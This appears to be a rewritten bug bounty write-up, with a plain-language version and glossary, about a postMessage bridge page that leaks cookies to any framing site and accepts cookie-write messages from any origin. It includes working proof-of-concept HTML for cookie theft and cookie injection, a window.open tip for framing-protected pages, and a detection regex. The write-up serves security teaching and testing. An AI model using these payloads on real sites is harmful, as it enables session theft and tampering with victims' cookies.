Exploiting post message to steal and replace user’s cookies
A page on the target site used postMessage to send the user's cookies to any parent window without checking the origin, and also accepted messages from any origin to set arbitrary cookies. An attacker could host a page that loads the vulnerable page in an iframe or popup to steal the victim's cookies or inject new ones.
Published on medium.com
While reviewing the history of logged HTTP requests related to a target i found a sink which helped me to exploit post message and steal or edit user’s cookies.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up is about postMessage, the cross-origin messaging API defined in the HTML5 Web Messaging specification, and about what happens when a page both sends and receives messages without checking where they come from. The researcher found the issue while reviewing the history of logged HTTP requests against a target, and the finding itself belongs to a private program, so the company is referred to only as onga.com and the full details are not disclosed.
The vulnerable component is a small HTML file called sync.html, which the researcher describes as a bridge: it contains nothing but a script tag and works as a relay between windows. In normal use it reads parameters from the URL fragment, sends a message to its parent window, and also listens for incoming messages that tell it to write cookies.
Background
postMessage exists so that a window can talk to another window, or to an iframe it contains, even across origins. The containing page registers a listener:
<script> function messages(event) { console.log(event); } window.addEventListener(‘message’,messages,false); console.log(“listening”); </script><iframe src="url/child.html"></iframe>
and the child page sends a message to its parent:
window.parent.postMessage("Hello parent", "target");
When the main page is visited it renders and loads the child; the child sends its message and the parent receives it and logs it to the console. The security questions the researcher raises at this point are what happens if the user can control the value of target, and what happens if the child page is vulnerable to clickjacking. He also notes that if the target origin is the asterisk *, the message can be sent to any domain that has a reference to the child page, and that depending on the context this can lead to high-severity issues.
Setup
The researcher spidered the target domain and traversed the crawled pages. His scanner captured an HTML file, sync.html, with a small number of lines of HTML content, and flagged it as containing insecure JavaScript statements. No accounts, roles or product versions are described.
Finding it
Looking inside sync.html, the researcher noticed a post message being sent to a variable named wOrigin:
window.parent.postMessage(JSON.stringify(msg), wOrigin);
That gives two variables of interest, msg and wOrigin. He scrolled up and down the file to see where they are initialised and whether they are under his control. The msg variable turned out to hold the cookies, and the other one held user input.
He then looked for the second variable and found only three occurrences. The first snippet he examined was this:
var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1))); var ns = fdata.ns; var worigin = fdata.worigin;
The code takes the current window's URL hash, decodes it, parses it as a JSON object, and creates two variables: ns, which stands for namespace, and wOrigin, the window origin. The researcher notes that window.location.hash is a well-known sink and that when you see it you should try to exploit it as DOM-based XSS, but that this was not the issue here. He continued through the other lines to check whether ns and worigin are sanitised before being passed to postMessage, and they were not.
Exploitation
Step 1: build the fragment that controls the message target
The process is reversed: create the two variables, give ns any value and set wOrigin to *, and express them as a JSON object in the fragment of the vulnerable page:
http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}
When the page loads, a post message is sent to the parent regardless of origin, because the wildcard * works with any origin.
Step 2: listen for the message in the parent
The attacker page needs a listener to receive what the child sends:
<script> function rcv(event) { console.log(event); } window.addEventListener('message',rcv,false);</script>
Step 3: load the vulnerable page in an iframe
The full proof of concept combines the listener with an iframe pointing at the crafted URL:
<script> function rcv(event) { console.log(event); } window.addEventListener('message',rcv,false);</script><iframe src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}' />
When http://attacker.com/poc.html is opened, the listener waits for incoming messages, the iframe loads, the vulnerable page lands in the iframe and sends the message holding the cookies to the parent, which is the attacker's site. The message is captured and logged, and in this case it contains the user's cookies leaked to the attacker.
Step 4: read the rest of the file and find the write path
The researcher was not finished. Since the file contains only 57 lines, he read all of them carefully and found another line:
window.addEventListener('message', h_message);
and the contents of the h_message function:
function h_message(event) { var data = null; try { data = JSON.parse(event.data); } catch(e) { return;} if (data.msgType !== "write" && data.namespace !== ns) { return; } setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly); }
The intended behaviour is: the incoming message should hold a JSON object; that object should contain an attribute msgType equal to write; and another attribute namespace identical to the ns value in the location hash, both of which are under the user's control. The researcher points out that because the developer used a negative AND operator, only one of the two conditions needs to be met rather than both, although he says this is not a serious issue by itself. When the validation evaluates to false, the return is not reached and setCookie() is called with the other JSON attributes as parameters. There is no validation of the message origin, so any website can send a message and pass malicious values to setCookie.
Step 5: inject a cookie
From that code he constructed the following JSON:
{"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}
with the targeted URL /sync.html#{"ns":"a","wOrigin":"*"}. The full proof of concept file is:
<script> var tar='http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}'; var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}; var c= window.open(tar,"child"); c.postMessage(pay,"*");</script>
Saving the file as HTML and opening it, the cookie was injected successfully and he was able to inject arbitrary cookies on behalf of the vulnerable website. The researcher adds a tip: if the page is protected against clickjacking, you could use window.open('url').
The detection tool
Regarding the tool, it does nothing more than request the URL and search for the following pattern:
(\.location\.hash)|(window\.addEventListener\('message')|(\.postMessage\()
Root cause
The page takes the message target origin from the URL fragment (worigin in the parsed JSON) and passes it straight to window.parent.postMessage without sanitisation, so an attacker who controls the fragment controls where the cookie-bearing message is sent, including the wildcard *. On the receiving side, h_message parses event.data and calls setCookie with attacker-supplied values without checking event.origin, so any site can drive the cookie write. The namespace check is weakened by the negative AND: the early return only fires when both msgType and namespace fail to match, so satisfying either one is enough to reach setCookie, though the researcher says this is not a serious issue by itself.
Impact
An attacker who can get a victim to load a crafted page can read the cookies the bridge sends to the parent, and can also write arbitrary cookies on behalf of the vulnerable site. Both proofs of concept rely on the victim visiting the attacker's page, with the vulnerable page loaded either in an iframe or through window.open. The researcher notes that findings of this kind can be high severity depending on context, and that the details of this particular program are not public.
Fix
The report does not describe a fix applied by the vendor.
Variants to test
- Grep crawled JavaScript and HTML for the pattern above (
location.hash,addEventListener('message'),postMessage() and inspect every hit. A positive result is a file that both reads the fragment and posts a message, or that registers a message listener. - Put a JSON object in the fragment with a wildcard origin and load the page in an iframe from a listener page. A positive result is the parent receiving a message containing cookies or other sensitive data.
- Send a crafted
write-style message to a page that registers a message listener. A positive result is a cookie being set on the target's origin without any origin check. - Try satisfying only one of the two namespace conditions where the code uses a negative AND. A positive result is the handler proceeding when only one attribute matches.
- If the page refuses to be framed, repeat the test with
window.open. A positive result is the same message or cookie write arriving from the opened window.
What happened, in plain words
A security researcher was looking through the list of web requests his browser had made to a company's website. In that list he spotted a small file that turned out to be a kind of messenger between two web pages. That messenger could be tricked into handing a visitor's cookies to any website the attacker chose, and also into writing new cookies into the victim's browser on behalf of the real site.
The company is called onga.com in the write-up. The finding came from a private bug bounty program, so the real name and the full details are not public.
Before going further, two everyday ideas:
- A cookie is a small piece of text that a website asks your browser to store and to send back on every later request to that site. It is how a site remembers that you are logged in. If someone else gets your cookies, they can often act as you without knowing your password.
- A bug bounty program is an arrangement where a company pays people to report security problems to it instead of abusing them. Some programs are public (anyone can read the reports later) and some are private (the details stay hidden).
Background: what postMessage is
Web pages sometimes need to talk to each other. A page can contain another page inside a frame (an iframe, a little window embedded in the page), and the two may come from completely different websites. Browsers deliberately stop one site from reading another site's data, and that protection is called the same-origin policy. Two pages have the same origin when their scheme, host and port all match; https://shop.example and https://bank.example are different origins.
Because of that rule, a parent page cannot simply reach into an iframe from another site and read its variables. The standard way to pass a message across that boundary is an API called postMessage. An API is just a documented set of functions a page can call; think of it as a agreed menu of actions, like the buttons on a lift, where you are not allowed to open the lift shaft yourself.
postMessage is part of the HTML5 Web Messaging specification. One window calls it to send a message, and the other window registers a listener, a function that runs whenever a message arrives.
A small example
The write-up starts with a containing page that listens for incoming messages and logs them.
code in main page
<script> function messages(event) { console.log(event); } window.addEventListener(‘message’,messages,false); console.log(“listening”); </script><iframe src="url/child.html"></iframe>
Line by line:
<script>opens a block of JavaScript, the programming language browsers run.function messages(event) { console.log(event); }defines a function namedmessages. It receives one argument,event, which is the message object the browser hands over.console.log(event)prints that object into the browser's developer console, a panel where developers see technical output.window.addEventListener('message', messages, false)tells the browser: whenever amessageevent happens on this window, run mymessagesfunction. Thefalseis a legacy option about event timing and does not matter here.console.log("listening")prints the word listening, so the developer can see the page is ready.<iframe src="url/child.html"></iframe>embeds another page,child.html, inside this one.
And one line in the child page, sending a message to the parent:
Code in child page
window.parent.postMessage("Hello parent", "target");
Here window.parent means the window that contains this one. postMessage takes two arguments: the data to send ("Hello parent") and the target origin, the address of the site that is allowed to receive it. In this example the second argument is the literal word "target", a placeholder for a real address.
What happens?
- You visit the main page, which renders and loads the child page.
- The child page sends a message to its parent, and the parent receives it and logs it in the console.
Do you see any security concern here?
The write-up asks two questions at this point:
- What happens if the user can control the value of
target? In other words, if the page builds the target origin from something the visitor supplies, such as part of the URL, then the visitor decides who receives the message. - What if the child page is vulnerable to clickjacking? Clickjacking is when an attacker loads a real site invisibly inside a frame and tricks you into clicking its buttons, so your click lands on the real site without you realising.
Tip
If the target origin is the asterisk *, the message can be sent to any domain that has a reference to the child page. The asterisk is a wildcard meaning "no restriction". Depending on the context, this can lead to high-severity issues. The write-up then demonstrates with an actual example found in a high profile company.
Back to the finding
The target is called onga.com in the write-up.
The researcher spidered the domain. Spidering (also called crawling) means automatically visiting pages and following links, the way a search engine does, to build a map of the site. While traversing all the crawled pages, his scanner captured an HTML file called sync.html with a small number of lines of HTML content. The scanner reported it as containing insecure JavaScript statements.
insecure Code detection
The file has no elements other than a script tag. It seems to work as a bridge: a page whose only job is to pass information between two other pages, like a person standing between two rooms relaying notes.
Finding it
Looking inside sync.html, the researcher noticed a post message being sent to a variable named wOrigin:
window.parent.postMessage(JSON.stringify(msg), wOrigin);
Line by line:
window.parentis the window containing this page.postMessage(...)sends a message to it.JSON.stringify(msg)turns the JavaScript valuemsginto a JSON string. JSON is a plain text format for structured data, like a very simple form with field names and values;JSON.stringifyconverts an object into that text so it can be sent.wOriginis the second argument, the target origin. Instead of a fixed address, it is a variable, which means its value is decided somewhere else in the file.
So there are two variables of interest: msg and wOrigin. The researcher scrolled up and down the file to see where they are initialised and whether they are under his control. The msg variable turned out to hold the cookies, and the other one held user input.
He then looked for the second variable and found only three occurrences. The first snippet he examined was this:
var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1))); var ns = fdata.ns; var worigin = fdata.worigin;
Line by line:
window.location.hashis the part of the address after the#symbol. Onexample.com/page#hello, the hash is#hello. Browsers do not send the hash to the server; it is handled entirely in the browser..substr(1)drops the first character, the#itself, leaving just the text after it.decodeURIComponent(...)turns encoded characters back into normal ones. In a URL, spaces and symbols are often written in a percent-encoded form such as%20; this function reverses that.JSON.parse(...)reads that text and turns it into a JavaScript object, so{"ns":"a"}becomes an object with a fieldnsholdinga.var fdata = ...stores the result in a variable calledfdata.var ns = fdata.ns;copies thensfield into a variable calledns, which stands for namespace. A namespace here is just a label used to group messages together, like a name on an envelope so the right person opens it.var worigin = fdata.worigin;copies theworiginfield into a variable calledworigin, the window origin, meaning the address that is allowed to receive the message.
The code is very simple: it accesses the current window's URL hash, decodes it, parses it as a JSON object, and creates the two variables ns and wOrigin.
The researcher notes that window.location.hash is a well-known sink. A sink is a place in code where data ends up being used in a way that matters, such as being written into the page or sent somewhere. When you see it, you should try to exploit it as DOM-based XSS. XSS, cross-site scripting, is when an attacker gets their own JavaScript to run inside someone else's site. DOM-based means the problem happens entirely in the browser's copy of the page (the DOM, the browser's live model of the page), without the server being involved. But that was not the issue here.
He continued through the other lines to check whether ns and worigin are sanitised before being passed to postMessage. Sanitising means cleaning input so that dangerous characters or values cannot do harm, like washing vegetables before cooking. They were not sanitised.
Exploitation
Step 1: build the fragment that controls the message target
The process is reversed. Instead of reading the values, the attacker writes them:
- Create the two variables.
- Give
nsany value and setwOriginto*. - Express them as a JSON object in the fragment of the vulnerable page:
http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}
When the page loads, a post message is sent to the parent regardless of origin, because the wildcard * works with any origin. The attacker has taken the decision of who receives the message away from the site and made it themselves.
Step 2: listen for the message in the parent
The attacker page needs a listener to receive what the child sends:
<script> function rcv(event) { console.log(event); } window.addEventListener('message',rcv,false);</script>
Line by line:
function rcv(event)defines a function calledrcv(short for receive) that takes the incoming message object.console.log(event)prints it, so the attacker can read what arrived.window.addEventListener('message', rcv, false)registers that function to run every time a message event reaches this window.
Step 3: load the vulnerable page in an iframe
The full proof of concept combines the listener with an iframe pointing at the crafted URL:
<script> function rcv(event) { console.log(event); } window.addEventListener('message',rcv,false);</script><iframe src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}' />
This is the previous listener plus one extra piece: <iframe src='...' /> loads the vulnerable page inside the attacker's page, with the crafted fragment already in place.
When http://attacker.com/poc.html is opened, the listener waits for incoming messages, the iframe loads, the vulnerable page lands in the iframe and sends the message holding the cookies to the parent, which is the attacker's site. The message is captured and logged, and in this case it contains the user's cookies leaked to the attacker.
Step 4: read the rest of the file and find the write path
The researcher was not finished. Since the file contains only 57 lines, he read all of them carefully and found another line:
window.addEventListener('message', h_message);
This registers a second listener, h_message, so the page does not only send messages, it also reacts to messages coming in. That is the other half of the bridge.
Here are the contents of the h_message function:
function h_message(event) { var data = null; try { data = JSON.parse(event.data); } catch(e) { return;} if (data.msgType !== "write" && data.namespace !== ns) { return; } setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly); }
Line by line:
function h_message(event)defines the handler that runs for each incoming message.var data = null;prepares an empty variable.try { data = JSON.parse(event.data); } catch(e) { return; }tries to read the message text as JSON. If the text is not valid JSON, thecatchblock runs andreturnleaves the function immediately, so malformed input is ignored.if (data.msgType !== "write" && data.namespace !== ns) { return; }is the check.!==means "is not equal to".&&means "and". So the function returns early only when the message type is notwriteand the namespace is not the one from the URL. If either one matches, the early return does not happen and the code continues.setCookie(data.cookieName, data.cookieVal, parseInt(data.expiresDays, 10), data.secureOnly);calls a function that writes a cookie, using four values taken straight from the message: the cookie's name, its value, how many days until it expires (parseInt(..., 10)reads the number as base ten), and whether it should be marked secure.
The intended behaviour is: the incoming message should hold a JSON object; that object should contain an attribute msgType equal to write; and another attribute namespace identical to the ns value in the location hash, both of which are under the user's control. The researcher points out that because the developer used a negative AND operator, only one of the two conditions needs to be met rather than both, although he says this is not a serious issue by itself. When the validation evaluates to false, the return is not reached and setCookie() is called with the other JSON attributes as parameters. There is no validation of the message origin, so any website can send a message and pass malicious values to setCookie.
In plain terms: the page accepts instructions to write cookies from anyone, and it does not ask who sent them. The check that was meant to limit this is written with a negative AND, which the researcher says is not a serious issue by itself.
Step 5: inject a cookie
From that code he constructed the following JSON:
{"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}
Each field maps to something the handler uses: msgType says this is a write instruction, namespace matches the ns value in the URL, and the last four fields become the cookie's name, value, lifetime and secure flag.
The targeted URL is /sync.html#{"ns":"a","wOrigin":"*"}. The full proof of concept file is:
<script> var tar='http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}'; var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}; var c= window.open(tar,"child"); c.postMessage(pay,"*");</script>
Line by line:
var tar='...'stores the target URL, the vulnerable page with the crafted fragment, in a variable calledtar.var pay={...}stores the message to send, the JSON object above, in a variable calledpay(the payload).var c = window.open(tar, "child");opens the target URL in a new window and keeps a reference to it inc. The second argument,"child", is a name for that window.c.postMessage(pay, "*");sends the payload to that window, with*as the target origin so no origin restriction applies.
Saving the file as HTML and opening it, the cookie was injected successfully and he was able to inject arbitrary cookies on behalf of the vulnerable website. The researcher adds a tip: if the page is protected against clickjacking, you could use window.open('url').
Tip2
- If the page is protected against clickjacking, you could use
window.open('url').
Video for poc1
Poc1 for stealing cookies
The detection tool
Regarding the tool, it does nothing more than request the URL and search for the following pattern:
(\.location\.hash)|(window\.addEventListener\('message')|(\.postMessage\()
This is a regular expression, a pattern for matching text. The | means "or", and the backslashes make the dots literal dots rather than "any character". So the tool flags any page that mentions location.hash, or registers a message listener, or calls postMessage. Any one of those is a hint worth a closer look.
Root cause
The page takes the message target origin from the URL fragment (worigin in the parsed JSON) and passes it straight to window.parent.postMessage without sanitisation, so an attacker who controls the fragment controls where the cookie-bearing message is sent, including the wildcard *. On the receiving side, h_message parses event.data and calls setCookie with attacker-supplied values without checking event.origin, so any site can drive the cookie write. The namespace check is weakened by the negative AND: the early return only fires when both msgType and namespace fail to match, so satisfying either one is enough to reach setCookie, though the researcher says this is not a serious issue by itself.
Impact
An attacker who can get a victim to load a crafted page can read the cookies the bridge sends to the parent, and can also write arbitrary cookies on behalf of the vulnerable site. Both proofs of concept rely on the victim visiting the attacker's page, with the vulnerable page loaded either in an iframe or through window.open. The researcher notes that findings of this kind can be high severity depending on context, and that the details of this particular program are not public.
Fix
The report does not describe a fix applied by the vendor.
Variants to test
- Grep crawled JavaScript and HTML for the pattern above (
location.hash,addEventListener('message'),postMessage() and inspect every hit. A positive result is a file that both reads the fragment and posts a message, or that registers a message listener. - Put a JSON object in the fragment with a wildcard origin and load the page in an iframe from a listener page. A positive result is the parent receiving a message containing cookies or other sensitive data.
- Send a crafted
write-style message to a page that registers a message listener. A positive result is a cookie being set on the target's origin without any origin check. - Try satisfying only one of the two namespace conditions where the code uses a negative AND. A positive result is the handler proceeding when only one attribute matches.
- If the page refuses to be framed, repeat the test with
window.open. A positive result is the same message or cookie write arriving from the opened window.
Glossary
- API: a documented set of functions one program can call on another; here, the browser functions that let pages exchange messages.
- Bridge page: a page whose only purpose is to relay data between two other pages.
- Bug bounty program: an arrangement where a company pays people to report security problems instead of exploiting them.
- Clickjacking: tricking a user into clicking a real site's controls while it is hidden inside a frame.
- Cookie: a small piece of text a site asks the browser to store and send back on later requests, often used to keep you logged in.
- Crawling (spidering): automatically visiting pages and following links to map a site.
- DOM: the browser's live model of the page, which scripts can read and change.
- DOM-based XSS: cross-site scripting where the attacker's code runs because of how the browser-side page handles data, without the server being involved.
- Fragment (URL hash): the part of an address after
#, handled by the browser and not sent to the server. - HTML: the language that describes the structure of a web page.
- HTTP request: a message a browser sends to a server asking for a page or other resource.
- iframe: a page embedded inside another page.
- JavaScript: the programming language browsers run to make pages interactive.
- JSON: a plain text format for structured data, made of field names and values.
- Namespace: a label used to group messages so the right handler picks them up.
- Origin: the combination of scheme, host and port that identifies a site, such as
https://example.com. - postMessage: the browser API for sending messages between windows or frames, including across origins.
- Proof of concept (PoC): a small working example that demonstrates a vulnerability.
- Regular expression: a pattern used to match text.
- Same-origin policy: the browser rule that stops one site from reading another site's data.
- Sanitise: clean input so dangerous characters or values cannot cause harm.
- Sink: a place in code where data is used in a way that matters, such as being sent somewhere or written into the page.
- Spidering: see crawling.
- Target origin: the address a
postMessagesender allows to receive the message;*means any address. - Wildcard (
*): a symbol meaning "anything" or "no restriction". - XSS (cross-site scripting): getting an attacker's JavaScript to run inside someone else's website.